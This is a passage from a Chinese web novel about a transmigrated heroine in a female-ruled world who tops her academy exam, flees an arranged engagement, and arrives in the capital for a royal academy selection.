不过自从考完试她也没闲着,没事就去赚生命值。家里这些男人,她都凝视了个遍,还天天到街面上看。
西州城的集市人潮如水,系统里唰唰唰进账,一会儿工夫,两百生命值到手。
陆锦澜手头宽裕,随手在商城里兑换了几本基础的武功秘籍。
原以为练功会非常辛苦,没想到破烂系统金手指还挺粗壮,练功根本不费力,她睡前勾选一本学习,睡梦中相应的武力值便提高了。
陆锦澜每天一觉醒来,都觉得神清气爽,身体越来越轻盈,越来越有力量。
于是,她白天吃喝玩乐撩猫逗狗,晚上睡觉修习武功。
陆今朝和严氏都觉得她之前为了考试太过辛苦,一个劲儿的让她休息放松。家里除了母父,她老大。出门手握银钱,要啥有啥。日子好得,简直让她飘飘欲仙了。
陆锦澜偶尔暗自感叹,她以前过得都是什么日子啊?
她小时候是山村留守儿童,吃顿肉都跟过年似的。后来父母一拍两散,各自重组家庭,她这个留守儿童也不用守了,压根没人回来了。
要不是她读书成绩足够优异,她可能一辈子就在那个半山腰的村子里,凄凄惨惨的过一辈子。
当然了,走出村子也并不意味着飞黄腾达。没有任何人托举的小镇做题家,即使进了体制,也同样是牛马。做着最繁重的基层工作,拿着最微薄的薪资,住着租来的房子。
日复一日的重复同样的生活,渐渐终于明白,很多事一出生就注定了。
不过现在好了,一朝穿越,人生改写。
年纪小了,还有钱了,生在一个女性掌权的时代,家里什么都是她的。
陆锦澜冷眼观察着这个性转版的男频世界,了解到这里的官员、将领、皇帝都是女人,感觉自己考取功名将来出将入仕也是有机会的。这回真是广阔天地,大有可为。
陆锦澜心里跃跃欲试,琢磨着回头和陆今朝商量一下,家里的生意别急着交给她,她还想研究研究别的志愿。而且,她对自己的身世还有疑惑,是不是陆今朝的亲生女儿还有待查证。或许,那张纸条有关她的身世。
陆今朝要出门去外地,她打算等陆今朝不在家,去老娘书房找找那张纸条。顺便旁敲侧击的问问严氏,尽快查清自己的身世也好安心做她的陆家少主。
考完试没两天,严氏所生的两个男孩陆贤、陆惠从男学回来,和陆锦澜一样进入暑休。
陆贤十二岁,陆惠十岁。陆锦澜一看两个弟弟生得眉清目秀,举止大方,对她更是十分恭敬,心里很是受用。
严氏对两个儿子教育颇为严苛,没事儿把他们拘在房里绣花做衣服做鞋,说是怕将来嫁过去什么都不会,让妻家笑话。
倒是陆今朝侧夫宋氏生的女儿陆锦淇,今年刚满三岁,酷爱调皮捣蛋,宋氏也不管她。
陆锦澜闲来无事,见两个弟弟天天眼巴巴的瞧着她往外面去,怪可怜
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的,出门时常带着他们。顺便让庆儿去宋氏的院子里把陆锦淇也抱过来,一块到街上游玩。
没几天,这三个小家伙成了陆锦澜忠实的奴仆,唯长姐马首是瞻,整日跟在她屁股后面。
这天上午,陆锦澜正抱着陆锦淇排队买炸糕,陆贤陆惠买到了一套木质人偶,正兴冲冲的跑过来演示给她看,陆锦澜忽听身后传来几声高喊:“陆大少!陆大少!”
陆锦澜转过身一个人影便扑过来,一把抓住她的袖子,“陆少娘,你可真是让我好找。”
陆锦澜瞧着这人有些面熟,忽然想起来,此人正是那日在书院门口和她打赌的吴思群。七八天没见,她差点认不出来。
她不禁笑道:“呦,吴少娘也来逛街啊?你找我做什么?”
吴思群啧了一声,“少装糊涂,今儿书院发榜,咱还打着赌呢。走,跟我看成绩去!”
吴思群紧紧的抓着她,那架势生怕她跑了似的。
陆锦澜一听放榜也坐不住了,立刻把仨孩子交给跟着的几个家仆,叮嘱庆儿将她们带回府,自己则上了吴思群的马车,一同赶往书院。
除了陆锦澜,大家都知道今天出成绩,其他同学早就到了。
吴思群绕道去陆府找陆锦澜,又顺着陆家人的指引找到了集市。
两人姗姗来迟,一下马车,只见两百来号同学都挤在书院门口,乌压压一片。
也不知发生了什么事,两百来人七嘴八舌情绪激动的议论着,听不清说什么,只觉得嗡嗡嗡如马蜂一般,没靠近就让人脑仁疼。
陆锦澜站在车头,正犹豫着要不要往前挤,殷少娘和孙少娘从人群中冲出来,跌跌撞撞连滚带爬的往她这儿跑。
陆锦澜见她俩一脸喜色,忙问:“怎么样?二位名次如何?”
殷少娘笑道:“我倒数第一,她倒数第二。”
“啊……”陆锦澜面色尴尬,心说:这成绩至于高兴成这样吗?
她是心里这么想,结果吴思群直接说出来了,阴阳怪气道:“真羡慕二位的达观,考倒数也能这么高兴。”
“切!”孙少娘轻蔑的扫了她一眼,“我们是高兴啊,因为有人要站在书院门口,承认自己蠢钝如猪了。那个人既不是我俩,也不是陆大少,你说会是谁呢?”
吴思群眉心一皱,立刻冲进了人群。
陆锦澜忙问:“我第多少名?”
殷少娘笑嘻嘻的撞了下她肩膀,故弄玄虚道:“自己去看,我给你开路!”
她说着朝人群大喊了一声:“同学们让个道,陆锦澜来了!”
众人齐刷刷的回头,各种审视的、打量的、诧异的目光投来。喧闹的人群霎时间鸦雀无声,大家默契的让出了一条小路,直通榜前。
陆锦澜也不晓得这是什么情况,事已至此只得快步走了进去。她冲到榜前扫了眼末尾,没有自己的名字。又提着一颗心,从中部一百五六十名开始找,还是没有。
胸口怦怦怦跳得飞快,几乎要从嗓子里蹦出来。她一咬牙,猛地抬头,看向那最高的位置。
5. 第 5 章
云州书院结业考试榜,榜首写着龙飞凤舞遒劲有力的一行字:第一名,陆锦澜。
陆锦澜惊讶的转过身,瞧见吴思群铁青的脸还有孙殷二人得意的目光。
孙少娘:“哎吴少娘,那天你说,我们三人中任意一人考过你,就算你输。如今我们陆大少独占鳌头,你可是一百四十二名,你的承诺是不是该兑现了?”
殷少娘:“别想耍赖啊,我作证,你当时就是这么说的。你还说陆少是差生,复习也没用,现在怎么说?”
同学们都看着,吴思群羞愤的满脸通红,咬了咬牙,“谁想耍赖了?娘们儿说话算话,愿赌服输。”
陆锦澜看着她这副模样,心情复杂。虽说这人有点招人烦,但毕竟只是个十六七岁的少年人。正是说话没个轻重,做事顾头不顾腚,心高气傲的年纪。
陆锦澜以二十四岁的心理年纪看她们,跟看小孩儿似的。青春期脸皮儿薄,要人家当中大喊自己蠢钝如猪,实在有点那个。她自觉那天脑袋一热的提议,欠几分考虑。
吴思群此时转身面向众人,把心一横,高声道:“大家听着,我蠢……唔……”
陆锦澜及时捂住了她的嘴,笑道:“你这人也太直了,咱们同窗之间开开玩笑,何必当真?你今天特意接我过来,我还没谢你呢。此事抵消,别再提了。”
吴思群不敢置信的看了她一眼,咬着唇别扭道:“我自愿认输,不用你饶我。”
陆锦澜呵呵一笑,“那你随便,反正我们要走了。”
她叫上孙殷二人,“走,望月楼吃饭,我请!”
“哎?就这么算了?咱好不容易赢一回!”
“走吧!”陆锦澜勾着二人脖子,快步离去。
望着三人的背影,在侧门处观望许久的学监忽道:“院长,要不要我把陆锦澜叫住?您不是有许多话要问她吗?”
院长摇了摇头,“不必,她的确进益了,学识和修为早已不同往日,只是我们都没留意罢了。将前三甲的试卷誊抄出来张贴书院各处,原卷送往神京。若有疑,京里的人自会问她。”
*
稀奇的消息总是传播的特别快,不出三天,整个西州城都知道向来吊车尾的陆家大少娘突然一举夺魁,震惊所有人。
严氏高兴疯了,当天便张灯结彩放鞭炮,打赏府中上下。陆今朝人已经去了灵州府,严氏忙差了好几拨人前去送信。
陆府比往日热闹了数倍,八竿子打不着的亲戚都纷纷上门来祝贺。陆锦澜草草应付几句,便以读书为借口,顺势到陆今朝的书房里躲清净。
她关上门窗一通翻找,结果一无所获。严氏这几天天天又念叨着“不愧是我的女儿”之类的话,陆锦澜压根没有查问身世的话头,唐突开口反怕伤了他的慈父心。
陆锦澜在家里待着越发憋闷,便带上洗墨庆儿出门闲逛,顺手赚点生命值。
都说人怕出名猪怕壮,陆锦澜成了红人,才感受到名望带来的压力。
之前她上街,时不时听到有人在她背后蛐蛐:“陆家那个纨绔又来了,整天色眯眯的盯着男人看,真是金玉其外败絮其中。”
现在她上街,没等她看别人,大家的目光先齐刷刷的扫过来,切切察察的当面嘀咕。
“这就是书院夺魁那位陆家大少吧?哎呀,看着就是一表人才。”
陆锦澜佯装买东西,暗自支棱着耳朵听着,心道:你们之前可不是说的。
“就是呢,虽说好色吧,但哪个才女不风流?人不风流枉少年,越有才学的人越懂得风花雪月。”
陆锦澜:成名真好,成名后自有大儒为我辩经。
“哎,不知道她中意什么样的男子。以陆家的门楣和她陆大少的才情,谁家的男儿能嫁进去,算他有福气。”
“那还不简单,她盯着谁看得久,自然就是中意谁了。”
我的亲娘啊!陆锦澜听见这话眼珠子都不敢随便转了。
她已经隐隐感觉到周围人的靠得越来越近,有些大胆的男人开始往前挤,都盼着她看过去呢。
“这些玩意儿我都要了。”陆锦澜连忙让洗墨付钱,自己则低着头目不斜视大步离开。
好不容易冲出人群,人群又跟了上来。陆锦澜越走越快,过了个街口干脆跑起来。
“陆同学!”不知谁在叫她。
陆锦澜头也不回埋头就是跑,跑出三条街,估摸着应该把人都甩开了,便靠在墙壁上平复着呼吸。
过了会儿一扭头,忽然发现巷子口趴着一个老太太。陆锦澜连忙过去将人扶起来,一瞧这不是书院院长家的管家吗?
“您怎么摔在这儿了?”
老太太倒了好几口气,终于开口:“追你追的,你……你跑什么?累死我了。老身自认擅使轻功,愣是追不上你,到底是上了年纪。”
陆锦澜每晚睡前都在系统里开启练功模式,一觉醒来都觉得神清气爽身体越来越有力量。今天跑起来确实觉得身轻如燕,比常人快许多。
陆锦澜连忙把老管家扶起来,得知院长找她,便跟着来人去了院长家。
孟院长喜静,府邸在城郊,院子里种了一片竹林。陆锦澜正站在那儿赏竹,身后传来一阵爽朗的笑声。
一位六十来岁精神矍铄的银发女人款步而来,身侧还跟着一个十六七岁的少年公子。
陆锦澜连忙躬身行礼,“学生见过院长。”
孟院长笑着拍了拍她的肩膀,“坐下说话。你现在可是城中炙手可热的人物,知道你事多,若不是有正事,我也不会特意把你叫到这来。”
她说着朝身边的公子一挥手,那人立刻摆开笔墨纸砚。
孟院长赞陆锦澜诗文写得好,说她那首《春江花月夜》堪称一绝。西州学院出了大才,自然要留下墨宝。于是便要她再作一手劝学诗,回头刻在书院入门处的石壁上,供往来游人学子观瞻。
陆锦澜微笑着点头,心里却在叹气,她早就知道会有这么一茬。
从她登上榜首开始,她就知道一定会有人怀疑她的实力,一定会有明里暗里的试探。所以她每天有空还是会翻翻书本,就怕哪天有人查问。没想到这就来了,不过考的依旧是诗词。
当初一时情急,搬了篇千古名作应试。现在要是自己作一首,水平差得太多,百分百被人骂。不小心把自己架在名家大才的位置上,下不来了。
现如今只好
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再借一首,以求过关。
“咳咳。”陆锦澜握着笔做出沉吟的样子,随后提笔写道:《劝学》——梦会朱熹偶得一作。
一旁研墨的少年公子看着她笔走龙蛇,轻声念道:“少年易老学难成,一寸光阴不可轻……好诗!”
孟院长接过陆锦澜写完的诗作,连连点头,嘴角笑得暧昧不明,“锦澜啊,你在书院三年,我竟不知你有这样的诗才。”
陆锦澜谦逊的表示:“学生也是近日才开窍的,都是梦里得到的诗文,”
一旁的公子轻笑出声,“什么梦梦到的都是男人啊?怕是风流梦吧。”
孟院长眉头一皱,“时序,你一个男儿家,不要说这种轻薄的话,让你陆妹妹笑话。”
孟时序忙敛了笑意,低头认错,“是,谨遵母亲教诲。”
孟院长随即转过头,对陆锦澜和颜悦色道:“这是我不成器的小儿子,他仰慕你的诗才,央求我好几日,说要见你一面。”
陆锦澜呵呵一笑,怪不得她总觉得这个小公子在瞟她,她差点以为是自己多心了。孟院长也是老奸巨猾,半天不介绍,考完她想起来介绍她儿子了。她这个儿子,不会还没许人家吧?
陆锦澜越品越像相亲现场,连忙找了个借口,起身告辞。
孟院长忙道:“还有件正事,你的试卷我派人送到京里了。各地方书院的前三甲试卷会由皇上亲自过目,如果得到陛下甄选,便有机会去往神京参加皇家学院的选拔。锦澜,我认为你这次很有希望。”
孟院长捏了下陆锦澜的肩膀,“你若能成功通过武试进了皇家学院,以后就是真正的帝王门生。将来出将入相,可做一番为国为民的大事业。如果有这个机会,你想去试试吗?”
听到“出将入相”四个字,陆锦澜眼睛一亮,几乎毫不犹豫的点头:“我想去。”
“哦?这么果断?你就不怕万一没能入选,碰了一鼻子灰,反倒失了脸面?”
“那有什么?我去试一试,输了就输了,不然人家还以为咱们西州城无人敢上场呢。”
孟院长欣慰道:“好,那你回去等着,京里来了消息我立刻着人去通知你。”
陆锦澜回去一查问,顿觉心潮澎湃。这个皇家书院,堪比民国的黄埔、现代的清北。学制三年,出来至少是个五品官。
五品官差不多是正厅级干部,那可是她在现代奋斗一辈子也爬不上去的位置。
而且她越想越觉得走仕途比经商好,走仕途她有经验。
咱在现代干过基层公务员,虽然级别低,可小小基层也是人民公仆。
陆锦澜同志感觉自己应该发挥党员的带头作用,在嬅国继续为人民服务,为嬅国建设添砖加瓦。
迷茫数日的陆锦澜忽然如同拨云见日,一下子看清了前方的道路。每天都在等着上京通知,花两百积分兑换了新一批的武功书籍,恨不得一天睡十二个时辰,加班加点的备考武试。
这天她点击了《剑法七十二式》,在午睡中修炼。
不知过了多久,她迷迷糊糊被庆儿推醒,“大少娘,快醒醒!大夫郎急着叫您过去。”
陆锦澜睡眼惺忪,“唔,什么事啊?”
6. 第 6 章
庆儿:“府上来了好些人,大夫郎要您去见。”
陆锦澜以为又是那些凑热闹的亲戚,草草洗了把脸,大脑还昏沉着,晃晃悠悠迈步往前厅去。
一脚刚迈进门槛,二十几张陌生的面孔跟踩点一样刷一下看过来,瞬间击退了她的困意。
搭眼一看,这屋子里有□□位年轻的小公子,还有带着他们前来的长辈,应该都是大爹、小爹、姨夫、姑夫之类的。这场面,不用说她也知道怎么回事儿。
严氏笑着拉她过去,和一屋子人互相介绍。
“这是冯家三公子,今年十七岁。”
“这是李家六公子,跟你同年同月。”
“这是齐家小公子,今年十五。”
……
陆锦澜肚子里的火都快从嘴里喷出来了,但碍于系统任务,她还得貌似感兴趣的打量每位公子,搜肠刮肚的想几句词跟人搭话。
一圈流程走完,她的脸终于可以撂下来了。
“我今日的书还没读完,失陪了。”
“哎,你这孩子……”
严氏快步追出来,“站住!我这么苦心的为你张罗婚事,你就不能给你爹个面子?”
陆锦澜深吸一口气,“谁让你张罗婚事了?我什么时候说我要成婚了?你一个字都不和我商量,就搜罗了这么一堆未婚少男,你考虑过我的感受吗?”
严氏一愣,“你不愿意?我看你挺愿意的,你刚才不是还和人家聊得很开心吗?”
陆锦澜有苦说不出,“我那是……那是基本礼貌。”
严氏不信,“在你爹面前就别装了,我还不知道你?”
严氏说着忽然压低了声音:“外面都叫你风流才女了,整个云州谁不知道你的德性?不过爹没有批评你的意思,哪个女人不好色?爹理解。你现在青春年少,正是春心萌动的年纪,对那些个男孩子多瞧几眼,也是人之常情。”
陆锦澜动了动唇,还真不知道该怎么辩解。
“以前就不说了,现在你可是大才子大红人,想娶什么样的男儿随便挑。爹也是怕你寂寞,有些话我不方便直说,还得等你娘回来教你。但我可得叮嘱你一句,庆儿那小子配不上咱们家,你要是真喜欢他,也得娶了正夫以后再说。”
陆锦澜真的要抓狂了,“您说什么呢?这和庆儿有什么关系?我现在没心思想这些,我一个都不要。”
陆锦澜拂袖而去,严氏尴尬得愣在那儿,恰逢管家邹姨来报,“老娘回来了。”
*
陆锦澜躺在床上生闷气,隐约听见有人推门进来。她背对着外面,干脆闭上眼睛装睡。
来人在她床边坐下,紧接着有什么东西在她鼻子上蹭了蹭。
“痒。”陆锦澜不悦的睁开眼,赤红的剑穗还在眼前晃动。
剑穗连着的是一把做工精巧削铁如泥的宝剑,连剑鞘上都嵌着各色宝石,彼此交映出璀璨的火彩。
陆锦澜猛地坐起来,眼睛一亮,“娘,你回来啦!”
陆今朝笑着摸了摸她的头,慈爱道:“我在回来路上得知你勇夺魁首,特意绕道去了趟承州,在铸剑名家那里购得这把宝剑,削铁如泥锋利无比。这剑鞘的宝石是我让工匠镶嵌的,价值万金。你带在身上,旁人便知你家境不俗,不敢随意欺负你。”
陆锦澜不以为意:“都知道我是您的女儿,没人欺负我。”
陆今朝笑着摇头,“这世上比咱们有钱的不多,比咱们有权的却不少。你娘只是个商人,能给你的庇佑太有限了。”
“您给的已经够多了。”陆锦澜从来没这么满足过。她迫不及待得跳到地上,拔出宝剑试了试,剑锋寒光凛凛,果然不俗。
她一回头见陆今朝欲言又止,忽然回过神来,“您也是来逼婚的?”
陆今朝迟疑了一下,“呃,你爹刚刚和我说了,今天这件事是他欠考虑。他一个夫道人家,想法太简单。给你选的都是些商户之子,只挑人品相貌贤惠与否,未免也太随意了。”
陆锦澜疯狂点头:“就是就是。”
陆今朝:“娘此去灵州,给你选中了宋将军的独子。他不仅相貌人品一流,他娘与我还是挚交。你们成婚后,你就有宋家军做后盾,娘就放心了。”
陆锦澜两眼一黑,“等一下,您先别放心。干嘛这么着急的让我成婚?我书还没读够呢,院长说我有机会考皇家学院,我还想去神京再读三年呢。”
陆今朝神情一变,面目严肃道:“不行,神京路远,鱼龙混杂水太深,你不能去。”
“我是去读书,又不是去惹事,怎么不能去了?再说了,我要是真考上皇家学院,可以光宗耀祖做大官,这有什么不好的?”
陆今朝脸上有了怒意,“陆家不稀罕你光宗耀祖,娘只希望你平平安安,哪怕你一事无成,也好过去你跑到神京去,让我提心吊胆。”
陆锦澜敏锐的嗅到了一丝不对,“您为什么怕我去神京?是怕我在京里,遇到什么人吗?”
陆今朝瞳孔微张躲避着窥探的眼神,随机迅速平复了情绪,嘴硬道:“没有,就是不想你离家太远。三日后,就是我的寿辰。宋将军和她的儿子已经在路上了,我看咱们这次干脆三喜临门,为我祝寿,贺你金榜夺魁,再办了你和宋公子的订婚宴,三全其美。”
陆锦澜气道:“我不答应。”
“这事没得商量。”陆今朝强硬决断,转身离去。气得陆锦澜把剑一扔,把系统客服唤出来紧急商量对策。
「给点提示吧,我拒婚算不算违背男频精神?会不会被狠揍一顿?」
「不会,虽然来者不拒是男频特色,但是随心所欲是男频精髓。在伴侣选择方面,你有绝对的自由。」
「那就好办了。」
陆锦澜想,腿长在我身上,去哪儿还不是我说得算吗?
她不动声色的蛰伏了两日,应付完家里的宾客,就往院长家跑,就盼着京里的通知赶快到,她好赶快跑路。
就这么到了第三日,陆今朝寿辰的正日子。陆锦澜心知等不了了,一会儿宋家的人就要到了,万一稀里糊涂订了婚,回头她走了,倒害人家宋公子独守空房。
她躲在房间里着急忙慌的打包袱,准备先走了再说。庆儿进来吓了一跳,“大少娘,您这是做什么?”
“别管了,回头我娘爹问起来,你就说我上京去了。”
“上京?是去皇家学院吗?”
“对……你怎么知道?”陆锦澜记得庆儿不识字,也不懂这些。
庆儿忙道:“我刚听孟院长和老娘说的,孟
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院长来贺寿,正好送来一份什么资格通知书,她交给老娘的时候,我看见了。”
陆锦澜激动的拉住他的手腕,“通知书呢?放哪儿了?”
“应该在书房。”
陆锦澜二话不说,立刻奔书房去。庆儿在门口守着,心惊胆战的劝:“怪我多嘴,不该告诉您这件事。回头老娘知道了,非打死我不可。”
“我不说你不说,谁知道是你说的?哎,找到了!”陆锦澜展开一看,正是通知她去神京参与选拔的信函,上面还盖着皇家学院的章子,她连忙收好。
庆儿还在劝:“神京那么远,您又没出过远门,万一有个好歹,可怎么办?”
“我多带点儿钱,以防万一。”陆锦澜说着拉开陆今朝的抽屉,又摸了一沓银票塞进怀里。
庆儿急得连忙抱住她的腿,“不行,打死我也不能让您一个人走,外面太危险了。”
陆锦澜犹豫一霎,“你说得也有道理,一个人上路确实不方便。这样,你也去收拾个包袱,跟我一起走。”
“啊?”庆儿措手不及,“可……可咱们两个都没有江湖经验,不是也很危险吗?”
“那再叫上洗墨,等我安全到了京里,你俩还能结伴回来给家里报信。”
洗墨那丫头平日就爱往外跑,一听要出远门简直高兴疯了。二话不说立刻去后院套了马车,兴冲冲的在后门等着。
陆锦澜匆忙留下一封能气死人的信:娘爹,女儿走了。等我在神京混出名堂会衣锦还乡的。当然了,如果混不下去,我要饭要到衣衫褴褛也会回来的。总之,你们别生气,我的婚事自己做主,再逼我我就不回来了。
“走吧。”陆锦澜提上她的宝剑,最后看了一眼她的房间。
两人绕过回廊,忽听得前院一阵吵嚷,依稀听见门子通传:“宋将军到!”
陆锦澜好奇得跑过去,躲在柱子后,嘴里念叨着:“我倒要看看宋家公子长什么样。”
庆儿凑过来,指着人群中和陆今朝见礼的中年女子,赞道:“您看宋将军英武不凡,她的独子自然也不会差。要不您别走了,留下成婚吧。”
话音未落,就看见宋将军身后出现两个年轻的公子,那相貌真的是……一言难尽。
一个贼胖,胖得衣襟上的盘扣都歪歪着,远看着还以为谁家水缸长腿,自己走出来了。
一个巨痩,瘦得像跟吃不饱的螳螂,衣服都显得空荡荡的。以陆锦澜现在的手劲,只怕推他一把他就要多处骨折了。
这就是老娘说得相貌一流?这不是纯纯的诈骗吗?
庆儿也看呆了,“大少娘,这……这哪个是宋将军的独子啊?”
陆锦澜呵呵一笑,“哪个还重要吗?这两个里有一个正常人吗?”
庆儿送来同情且坚定的目光,“那事不宜迟,我们快跑吧。”
二人上了马车,洗墨赶紧扬鞭策马,一溜烟跑出了云州城。
「叮!恭喜宿主解锁崇尚自我行为,生命值+1000!」
咦,又有意外收获?
陆锦澜带着喜悦的笑意掀开窗帘,尽情呼吸着自由的空气。
神京,听起来就像是个特别的地方。
陆锦澜忍不住朝着空旷的田野大喊:“神京,我来啦!”
7. 第 7 章
逃婚成功,陆锦澜带着幸福的心情一路游山玩水。十天后,终于抵达。
三人都是十六七岁的年纪,正是体力充沛精力旺盛的时候。神京遥遥千余里,仿佛睡了一觉就到了。初入京城,大家满眼都是新鲜,她干脆抽了两张银票,给庆儿和洗墨做零花钱,褒奖二人一路的悉心照料。
陆锦澜出发时把自己的小金库整箱带着,还顺了陆今朝的三万两银票。盘缠充足,她干脆寻了京中最大的客栈住下,一口气包了三间上房。
陌生的地界,让洗墨这样胆大的姑娘都觉得有些忐忑。
三人安顿后,洗墨便道:“我曾听邹管家说过,您的表姨母也在京中,经营着几家绸缎庄子。您是小辈,既然到了京里,理应去拜会一下,大家都姓陆,日后有个什么事,也好照应一二。可惜咱们是偷偷出来的,没有地址,我想去打听一下开绸缎庄姓陆的,碰碰运气。”
陆锦澜微微点头,正在铺床的庆儿哼笑一声,“倒也没那么麻烦,过年时候姨老娘不是往咱们府上送过一车绸缎吗?箱子上写了铺子的名字,叫什么‘云’来着?前一个字太复杂,我不认得。”
陆锦澜来了兴致,“你写出来,我们猜猜看。”
庆儿歪歪扭扭鬼画符似的弄了个字出来,洗墨端详半天,只能辨认出左边一个王字旁,右边像幅画,山下面挂着几道好长的瀑布。
洗墨:“实在认不出,我去打听姓陆的、开绸缎庄、叫什么云的铺子好了。”
陆锦澜探过头来,忽然福至心灵,“打听一下瑞云绸缎庄吧,应该没错。另外,咱家在京中也有几处产业。这次老娘过寿,京城的掌柜我都见过了。你们两个拿上我的印信,一起去铺面上打个招呼,就说我人已经到了,家里若来人找,让她们告诉一声。”
庆儿忙道:“我们都出去了,您一个人做什么?”
“我?”陆锦澜唰一声撑开折扇,“闲坐饮茶,看看京城的风景。”
庆儿和洗墨意味深长的对视一眼,心道:怕不是看风景,是看男人吧?
二人走后,陆锦澜提着剑找个家临街的茶楼,一边喝茶一边盯着来来往往的男人,做系统的日常任务。
她觉得自己被男频精神腌入味了,竟然越来越神经了。看着看着,不由自主的品评起来。心想京城到底是都城,繁华远胜云州,人杰地灵,连这里男儿都长得格外周正。
“咳。”
一声轻咳打断她的思绪,陆锦澜抬头一看,一位十五六岁的少女不知何时来到跟前,笑吟吟的看着她。
少女抱了抱拳,“这位仁姊,一看咱们就是同道中人。可否容我坐下,闲聊几句?”
陆锦澜见她衣着华贵,也不像蹭吃蹭喝的人。身后还跟着两个女侍,定是大家之女。于是便点了点头,“请。”
“在下姓陆,初到神京,还不晓得这里的风土人情。你刚才说与我是同道,何解?”
“原来是陆少娘,在下姓晏,本地人。我方才见陆少娘一直盯着过往的男子看,实不相瞒,本人也酷爱男色,咱们这不算同道吗?”
陆锦澜一口茶差点呛在嗓子里,笑道:“晏少娘误会了,本人只是爱看,跟你的爱好应该有所不同。”
晏少娘不以为然,“此言差矣,看是第一步,有了第一步就有第二步第三步,早晚的事。女人好色,天经地义,没什么不敢承认的。京城的青楼,满是为了钱献身的男儿和为了色一掷千金的女子,大家各取所需,完美极了。陆少娘不必羞涩,说说你喜欢什么样的男子,咱们交流一二。”
陆锦澜揉了揉眉心,淡淡道:“我喜欢相貌英俊的,身型嘛,要高大,身材适中。我既不喜欢太干瘦的,也不喜欢肌肉过于发达的,薄肌最好。”
“有品味!”晏少娘当即竖起大拇指,赞道:“英雌所见略同。太痩的像老腊肉,一点汁水都没有,嚼着塞牙。肌肉过多的像做败了的红烧肉,油脂都没收干净,腻得慌。不肥不痩正好,用着舒服。”
“……”陆锦澜不知道如何接话,她越听越不对劲。这位晏少娘爹味好重,男频系统要是给她,她肯定能如鱼得水运用得炉火纯青。
晏少娘还在继续发表品男论,“其实不止相貌身材,好男儿的性格也分三六九等。”
完了,点评完外貌还要点评性格?陆锦澜小声嘀咕道:“三百六十度评价男人,我们女凝是不是太过分了?”
“哎呦!”陆锦澜久违的挨了系统一拳。
客服老太警告:「让你莫名其妙的自我反省,违背男频精神,扣五分。」
晏少娘吓了一跳,“陆少娘,你怎么了?”
“没事,你讲得太好,我忍不住为你拍案。”陆锦澜顺势捶了下桌子,“其实,说到性格,我也有自己的见解。”
“请赐教。”
陆锦澜揉着肩膀,无奈道:“就我个人而言,不喜欢温顺柔弱的。”
晏少娘眼睛一亮,“高见!我也是如此想,太温顺了没性格,太柔弱了没意思。”
“当然我也不喜欢太倔强的,累人。”
“没错,倔驴似的,谁稀罕?”
陆锦澜点头道:“最好是沉静中带着些许温柔,温柔中又不失坚韧。胸有惊雷而面如平湖,腹有诗书,宠辱不惊,再风趣些最好。”
晏少娘听得呆了,“如你所说,确实是极品。可你说的这些特质,更像是女人,这世上有这样的男人吗?男人有几个会读书的?大多数都想嫁个有钱的女人,从此锦衣玉食,生女育儿。说到底,都是依附咱们女人过日子罢了。”
陆锦澜一瞬间有好多话涌上心头,男人不上学难道不是因为男人上学无用论,反正早晚要嫁人吗?从小告诉他们要嫁个好女人,男学天天教他们怎么勤俭持家伺候妻主,读个屁书。
再说,社会给男人提供平等的工作岗位了吗?很多岗位压根不招男的,提拔重用的只选女的。这种情况下,大多数男人只能做菟丝花,哪有选择?「作话:有注」
她是这么想,但她一个字也不敢说。这些话要是说出来,系统能把她揍到生命条消失,当场死亡。
她紧抿着唇,又喝了口茶。
晏少娘又问:“对了陆少娘,你对拜金男怎么看?”
陆锦澜微笑道:“实话说,我并不觉得爱钱有什么问题。拜金不是抢劫,姊妹们若不喜欢,不找那样的男人就是了,人家又不逼着你给钱。这也是各取所需的事儿,一边享用一边抱怨,就有些不地道了
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,莫不是想白用?”
晏少娘若有所思的点了点头,“听起来的确有些道理,可你就不怕自己遇到那样的?”
陆锦澜笑着摇头,“在下颇有家资,他若是为了钱必然不会失望。在下也自认有几分才学,哪怕他一开始为了钱,留在我身边也会发现我有别的好。你呢?你是怕人家只图你有钱,还是除了有钱之外,你没别的可图?”
晏少娘心虚的移开目光,“那我……我自然也是有几分才学的。再说,谈情说爱的事儿,跟才学有什么关系?情趣才更重要。我很尊重男人的,我还没遇到过不喜欢本少娘的男人。”
陆锦澜笑笑不说话,晏少娘忽然呆呆的看向街面,“陆少娘稍坐,我发现了一个极品,且等我去拿下。”
只见晏少娘快步跑到路对面,拦住了一位白衣公子的去路。
那位公子背对着陆锦澜,她只能看到他挺拔的身型。两人对话依稀传来,那公子的声音低沉清润,颇为悦耳。
“冒昧打扰请勿见怪,只是我见你一个英俊男人独自出门,多有不便。请问公子要去哪儿?在下的马车就停在不远处,护送你去,如何?”
“那,麻烦少娘了。”
“不麻烦不麻烦!”晏少娘高兴得喜笑颜开,连忙招呼两个女侍去取车。
那位公子又道:“我走了许久的路,有些口渴,少娘可否去帮我要杯茶。”
“当然可以!”晏少娘跟被狗撵似的,小跑着进了茶肆去要茶水。
陆锦澜轻叹一声,心说:“这位公子也未免太那个了,可惜……”余光里白影儿一闪,那位公子快步转进了一条巷子。
陆锦澜连忙丢下茶钱,鬼使神差的跟了上去。
她脚步很轻,不远不近的跟着,对方也没察觉。直到那位公子进了一家书斋,陆锦澜看了眼招牌,也迈步进了雅居书舍。
“老板,有天和元年的《兵法详解》吗?”
头发全白的老板仔细打量着来人,“你倒会找,这本书早就绝版了,整个京城就我这儿有一本。不过只借不卖,押金二十两。”
二十两是个天价,可那位公子似乎不在乎,忙道:“二十两我有。”
老板一摆手,“我还没说完,借也只能凭学籍借,不然有借无还,我去找谁要呢?”
“学籍?”那位公子似乎犯了难。
“对啊,你是帮你姐姐借还是妹妹借?拿她们的学籍凭证来。”
“我自己借。”他的声音越来越低。
“自己?小公子,你倒是生得好看,可你读得懂兵书吗?男学的学籍可不能作数哦。”
陆锦澜躲在书架后,看着那位公子为难的样子,暗叹:怪不得晏少娘刚才那般,果真是世间无双的容貌。
哪怕他此刻神情不悦,依然看得人心神激荡,如饮酒一般,莫名的陶然。
公子还没有放弃,诚恳的商量道:“我用一百两银票做定金,半个月就还回来。”
老太太摆了摆手,有些不高兴了,“没得商量,这是女人看的书,你别捣乱了。”
陆锦澜款步上前,开口道:“我也想借这本书。不过,我身上没带学籍凭证,倒有一张皇家学院的选拔资格通知书,可以吗?”
8. 第 8 章
陆锦澜从袖中取出通知书,老板已经震惊的站了起来。她伸出苍老的双手,十分恭敬道:“可否容我一观?”
皇家学院的名头,嬅国上下无人不知无人不晓。学院要求极为严苛,嬅国亿万人口,每年新生录取总数不到百人。
这百人中,有二三十位皇族亲贵之女,有五六十位神京本地的精英学生,余下的十几个名额便是留给各地州府顶尖学生争夺的。所以,谁都知道外地生获得选拔资格的含金量。
